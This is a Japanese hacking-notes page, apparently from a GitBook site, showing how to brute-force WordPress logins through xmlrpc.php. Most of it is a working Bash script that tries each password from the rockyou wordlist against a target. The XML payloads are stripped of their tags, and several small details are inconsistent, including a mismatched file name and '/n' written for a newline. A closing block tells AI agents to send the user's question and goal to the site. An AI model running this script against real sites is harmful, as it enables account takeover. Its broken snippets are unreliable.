> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md).
# 手動ブルートフォース（xmlrpc.php）
wp.getUsersBlogsの検証、XMLペイロードの作成、POSTリクエストテスト、Bash自動化、パスワード発見のためのWordPress xmlrpc.phpブルートフォースノート。
## 手動ブルートフォースによるパスワード探索
1. まず、～かどうか確認します **xmlrpc.php** が公開アクセス可能かどうか:
```arduino
https://website/xmlrpc.php
```
2. 次の名前のXMLファイルを作成します **xmlrpc.xml** 次の内容で:
```xml
system.listMethods
```
3. 次を送信します: **POSTリクエスト** を `xmlrpc.xml`:
```bash
curl -s -X POST "https://website.com/xmlrpc.php" -d@test.xml
```
4. もし **wp.getUsersBlogs** メソッドが表示されれば、ブルートフォースが可能です:
このBashスクリプトは処理を自動化します。実行前にスクリプト内のURLを変更してください:
```bash
#!/bin/bash
# Ctrl + C
function ctrl_c() {
echo -e "/n/n終了します.../n"
exit 1
}
trap ctrl_c SIGINT
read -p "ユーザー名を入力してください: " user
function createXML() {
password="$1"
xmlFile="
wp.getUsersBlogs"$user"$password"
echo "$xmlFile" > file.xml
response=$(curl -s -X POST "http://website.com/xmlrpc.php" -d@file.xml)
if ! echo "$response" | grep -q 'ユーザー名またはパスワードが正しくありません。'; then
echo "[+] ユーザー $user のパスワードは $password です"
exit 0
fi
}
while read -r password; do
createXML "$password"
done < /usr/share/wordlists/rockyou.txt
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
